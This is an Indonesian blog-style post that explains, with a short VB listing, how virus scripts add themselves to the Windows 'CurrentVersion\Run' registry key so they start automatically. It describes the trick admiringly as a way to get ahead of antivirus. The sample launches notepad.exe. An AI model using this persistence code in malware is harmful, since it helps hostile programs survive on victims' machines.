Konsep autorun pada virus dengan VB

Dari beberapa script virus local yang udah terbaca, ternyata ada beberapa listing program yang keren banget. Dan usut punya kusut, ternyata script tersebut berguna untuk melakukan pertahanan di awal terhadap antivirus. Langsung aja yach kita lihat listingnya :

Source code Module

Public Sub CreateKey(folder As String, Value As String)

Dim satya As Object
On Error Resume Next
Set satya = CreateObject(”Wscript.Shell”)
satya.RegWrite folder, Value
End Sub

Sub Main ( )
Dim satya As String
satya = “”"”
CreateKey “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\satyaflagel”, _
satya & “c:\windows\NOTEPAD.exe” & satya
End Sub

penjelasan code modul
1.deklarasi level public create key,terdiri dari folder dan value
2.deklarasi satya sebagi object
3.jika ada kesalahan coding, maka lanjutin ke code selanjutnya
4.menset satya sebagi fungsi vb script
5.fungsi regwrite satya untuk menulis registry
6.deklarasi satya sebagai strting
7.menulis file exe yang akan dijalankan secara otomatis melalui registry